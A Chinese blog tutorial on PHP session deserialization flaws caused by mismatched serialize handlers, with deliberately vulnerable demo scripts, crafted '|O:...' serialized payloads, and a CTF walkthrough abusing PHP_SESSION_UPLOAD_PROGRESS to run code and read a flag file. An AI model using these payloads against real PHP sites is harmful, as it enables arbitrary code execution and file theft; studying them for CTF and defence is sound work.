zoukankan      html  css  js  c++  java
  • php Session反序列化漏洞

    @

    PHP Session 序列化及反序列化处理器

    PHP 内置了多种处理器用于存取 $_SESSION 数据时会对数据进行序列化和反序列化,常用的有以下三种,对应三种不同的处理格式:
    在这里插入图片描述

    有关session的配置

    session.save_path="" --设置session的存储路径
    session.save_handler=""--设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
    session.auto_start boolen--指定会话模块是否在请求开始时启动一个会话默认为0不启动
    session.serialize_handler string--定义用来序列化/反序列化的处理器名字。默认使用php
    

    代码里面临时设置:

    ini_set('session.save_path','./tmp');
    ini_set('session.serialize_handler','php');
    ini_set('session.save_path','./tmp');
    ini_set('session.serialize_handler','php');
    session_start();
    

    php

    <?php
    ini_set('session.save_path','./tmp');
    ini_set('session.serialize_handler','php');
    session_start();
    $_SESSION['test123'] = "123456";
    ?>
    tmp.php: test123|s:6:"123456";
    

    php_binary

    <?php
    ini_set('session.save_path','./tmp');
    ini_set('session.serialize_handler','php');
    session_start();
    $_SESSION['test123'] = "123456";
    ?>
    

    tmp.php
    在这里插入图片描述

    php_serialize

    <?php
    ini_set('session.save_path','./tmp');
    ini_set('session.serialize_handler','php_serialize');
    session_start();
    $_SESSION['test123'] = "123456";
    ?>
    

    tmp.php: a:1:{s:7:"test123";s:6:"123456";}

    session序列化与反序列化

    由于以上三种序列化与反序列化处理器进行反序列化操作时的差异,所以程序员开发不当就可能造成安全漏洞

    利用

    session.auto_start=On

    session.auto_start参数会在脚本执行前会自动注册Session会话,所以在脚本中设置的php.ini中(序列化处理器session)相关参数是无效的
    所以需要先销毁注册的session,然后设置处理器,再调用session_start()注册session

    1. index.php
    <?php
    //检测是否开启自动注册会话
    if (ini_get('session.auto_start')) {
        session_destroy();
    }
    ini_set('session.serialize_handler', 'php_serialize');
    session_start();
    $_SESSION['a'] = $_GET['a'];
    
    1. evil.php
    <?php 
    ini_set('session.save_path','./tmp');
    session_start();
    class test{
        public $hi;
        function __wakeup(){
        	phpinfo();
        }
    }
    

    构造

    $a = new test();
    $a->hi = "hello";
    echo serialize($a);
    //O:4:"test":1:{s:2:"hi";s:5:"hello";}
    

    传入index.php?a=|O:4:"test":1:{s:2:"hi";s:5:"hello";}
    再访问evil.php
    在这里插入图片描述
    说明:

    • index.php中接收参数a后将其序列化存储在session文件中
      在这里插入图片描述
      然后系统默认的handler为php
      在这里插入图片描述
      所以在访问evil.php时,系统会自动用php处理器反序列化session文件中的内容.
      而且反序列化的部分为|之后的部分即
      在这里插入图片描述
      触发危险函数,然后执行phpinfo();

    这里存在一点,php反序列化的时候只会寻找有效部分
    如:
    在这里插入图片描述

    session.auto_start=Off

    这种其实和上面那个差不多
    直接l3m0n师傅博客里面的例子:
    foo1.php:

    ini_set('session.serialize_handler', 'php_serialize');
    session_start();
    $_SESSION['a'] = $_GET['a'];
    

    foo2.php

    <?php
    ini_set('session.serialize_handler', 'php');
    session_start();
    class lemon{
        var $hi;
        function __wakeup() {
            echo 'hi';
        }
        function __destruct() {
            echo $this->hi;
        }
    }
    

    构造 index.php?a=|O:5:"lemon":1:{s:2:"hi";s:6:"lonmar";}
    再访问foo2.php
    在这里插入图片描述

    没有$_SESSION变量赋值

    php中存在一个upload_process机制,这个功能常用于在文件上传的过程中利用session实时返回上传的进度
    在这里插入图片描述
    使用这个功能首先要有个前提:session.upload_progress.enabled设为On
    为了方便测试,可以关闭它的自动清理session文件的功能:session.upload_progress.cleanup = Off

    通过一道题目学习:http://web.jarvisoj.com:32784/

    打开题目即可获得源码:
    在这里插入图片描述
    随便传入参数获得phpinfo信息,可以查看两个关键的session配置
    在这里插入图片描述
    很显然可以构造代码:

    class OowoO
    {
        public $mdzz = payload;
    }
    $a = new OowoO;
    echo serialize($a);
    

    来执行任意的payload
    但是没有明显的输入点,
    所以可以通过upload_process来输入
    基本思路就是上传文件并post一个参数session.upload_process.name
    后端会自动将POST的这个同名变量作为键进行序列化然后存储到session文件中。下次请求就会反序列化session文件,从中取出这个键
    所以构造表单:
    test.html

    <form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
        <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
        <input type="file" name="file" />
        <input type="submit" />
    </form>
    

    在这里插入图片描述
    payload就参考别的师傅的:

    |O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
    

    在这里插入图片描述

    |O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));";}
    

    在这里插入图片描述
    几点说明:

    1. 必须有上传一个参数,名是PHP_SESSION_UPLOAD_PROGRESS,值可以任意
    2. payload在filename里面

    http报文中的filename的值对应$_SESSION[‘upload_progress_laruence’][‘files’][0][‘name’]
    http报文中的name的值对应
    $_SESSION[‘upload_progress_laruence’][‘files’][0][‘filed_name’]
    这两处都可以实现攻击。

    通过这道题目可以很好了解 upload_process 利用方式

    参考
    https://blog.csdn.net/csdn583724/article/details/88735607
    https://xz.aliyun.com/t/7366#toc-0
    https://zhuanlan.zhihu.com/p/90879209
    https://www.cnblogs.com/litlife/p/10748506.html
    https://www.cnblogs.com/iamstudy/articles/php_serialize_problem.html

  • 相关阅读:
    windows内核函数1
    驱动程序中获取当前进程的进程名的方法
    vs2008+WDK7600驱动开发环境配置
    P2P之UDP穿透NAT的原理与实现之我见
    设计模式-工厂模式
    C++解析ini文件_转载
    利用sort和lambda表达式对vector中的pair进行排序
    C++ 获取目录下具有指定后缀名的所有文件名_windows
    深度学习提取得到的特征值进行特征值相似度比对
    C/C++从路径字符串中获取文件名
  • 原文地址:https://www.cnblogs.com/l0nmar/p/13887752.html
Copyright © 2011-2022 走看看